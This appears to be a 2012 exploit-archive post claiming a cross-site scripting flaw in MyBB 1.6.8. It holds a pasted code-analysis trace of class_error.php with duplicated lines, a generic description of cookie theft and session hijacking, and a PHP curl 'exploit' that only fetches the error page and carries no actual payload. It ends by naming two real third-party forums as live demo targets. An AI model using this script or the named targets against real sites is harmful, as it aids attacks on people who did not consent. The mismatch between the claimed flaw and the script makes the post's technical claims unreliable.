Home / exploitsPDF  

MyBB 1.6.8 Cross Site Scripting

Posted on 16 October 2012

######################################################### Exploit Title : Mybb 1.6.8 Cross Site Scripting Author : 3xpl0!t3r Discovered By : Sec-Advisor.Org Date : 12 Oct 2012 Home : http://Sec-Advisor.Org ######################################################### Source : http://www.mybb.com/download/latest file : /inc/class_error.php 510: echo echo <<<EOF <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>{$mybb->settings['bbname']} - Internal Error</title> <style type="text/css"> body { background: #efefef; color: #000; font-family: Verdana; font-size: 12px; text-align: center; line-height: 1.4; } a:link { color: #026CB1; text-decoration: none; } a:visited { color: #026CB1; text-decoration: none; } a:hover, a:active { color: #000; text-decoration: underline; } #container { width: 600px; padding: 20px; background: #fff; border: 1px solid #e4e4e4; margin: 100px auto; text-align: left; } h1 { margin: 0; background: url({$_SERVER['PHP_SELF']}?action=mybb_logo) no-repeat; height: 82px; width: 248px; } #content { border: 1px solid #B60101; background: #fff; } h2 { font-size: 12px; padding: 4px; background: #B60101; color: #fff; margin: 0; } .invisible { display: none; } #error { padding: 6px; } #footer { font-size: 11px; border-top: 1px solid #ccc; padding-top: 10px; } dt { font-weight: bold; } </style> </head> <body> <div id="container"> <div id="logo"> <h1><a href="http://mybb.com/" title="MyBulletinBoard"><span class="invisible">MyBB</span></a></h1> </div> <div id="content"> <h2>{$title}</h2> <div id="error"> {$error_message} <p id="footer">Please contact the <a href="http://mybb.com">MyBB Group</a> for support.</p> </div> </div> </div> </body> </html> EOF; 508: $_SERVER['PHP_SELF'] = htmlspecialchars_uni($_SERVER['PHP_SELF']); 406: $title = "MyBB Internal Error"; // if($type == MYBB_SQL) else , 391: $title = "MyBB SQL Error"; // if($type == MYBB_SQL), 489: $error_message .= "</dl> "; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), 487: $error_message .= "<dt>Backtrace:</dt><dd>{$backtrace}</dd> "; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if($backtrace && !in_array($type, $this->mybb_error_types)), 481: $error_message .= "<dt>Code:</dt><dd>{$code}</dd> "; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config.php|settings.php#', $file) && file_exists($file)), 415: $error_message .= "<dt>Location:</dt><dd>File: {$file}<br />Line: {$line}</dd> "; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), 412: $error_message .= "<dt>Error Message:</dt> <dd>{$message}</dd> "; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), 411: $error_message .= "<dt>Error Type:</dt> <dd>{$this->error_types[$type]} ($type)</dd> "; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), 410: $error_message .= "<dl> "; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), 407: $error_message = "<p>MyBB has experienced an internal error and cannot continue.</p>"; // if($type == MYBB_SQL) else , 401: $error_message .= "</dl> "; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), 399: $error_message .= "<dt>Query:</dt> <dd>{$message['query']}</dd> "; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if($message != ""), 396: $error_message .= "<dt>SQL Error:</dt> <dd>{$message['error_no']} - {$message['error']}</dd> "; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), 395: $error_message .= "<dl> "; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), 392: $error_message = "<p>MyBB has experienced an internal SQL error and cannot continue.</p>"; // if($type == MYBB_SQL), 392: $error_message = "<p>MyBB has experienced an internal SQL error and cannot continue.</p>"; // if($type == MYBB_SQL), 380: ⇓ function output_error($type, $message, $file, $line) 380: ⇓ function output_error($type, $message, $file, $line) 380: ⇓ function output_error($type, $message, $file, $line) 380: ⇓ function output_error($type, $message, $file, $line) 380: ⇓ function output_error($type, $message, $file, $line) 380: ⇓ function output_error($type, $message, $file, $line) 380: ⇓ function output_error($type, $message, $file, $line) 380: ⇓ function output_error($type, $message, $file, $line) 478: $code = nl2br($code); // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config.php|settings.php#', $file) && file_exists($file)), if($parser_exists) else , 474: $code = $parser->mycode_parse_php ($code, true); // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config.php|settings.php#', $file) && file_exists($file)), if($parser_exists), 451: $code .= $line + 3 . ". " . $code_pre[$line+2]; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config.php|settings.php#', $file) && file_exists($file)), if(isset($code_pre)), 446: $code .= $line + 2 . ". " . $code_pre[$line+1]; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config.php|settings.php#', $file) && file_exists($file)), if(isset($code_pre)), requires: 502: if(!headers_sent() && !defined("IN_INSTALL") && !defined("IN_UPGRADE")) 380: ⇓ function output_error($type, $message, $file, $line) ######################################################### vulnerability concept: $_GET + echo() = Cross Site Scripting vulnerability description: An attacker might execute arbitrary HTML/JavaScript Code in the clients browser context with this security vulnerability. User tainted data is embedded into the HTML output by the application and rendered by the users browser, thus allowing an attacker to embed and render malicious code. Preparing a malicious link will lead to an execution of this malicious code in another users browser context when clicking the link. This can lead to local website defacement, phishing or cookie stealing and session hijacking. ######################################################### Exploit : #!/usr/bin/php -f <?php # # class_error.php curl exploit # // // HTTP SERVER, // $target = $argv[1]; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_URL, "http://$target/mybb/inc/class_error.php"); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 5); curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 5); curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target"); $buf = curl_exec ($ch); curl_close($ch); unset($ch); echo $buf; ?> ######################################################### D3m0 : www.lurkerlounge.com/forums/inc/class_error.php http://www.spyrax.net/forums/inc/class_error.php ######################################################### We are : 3xpl0!t3r | IR313 | ICA Tnx Of : Nafsh

 

TOP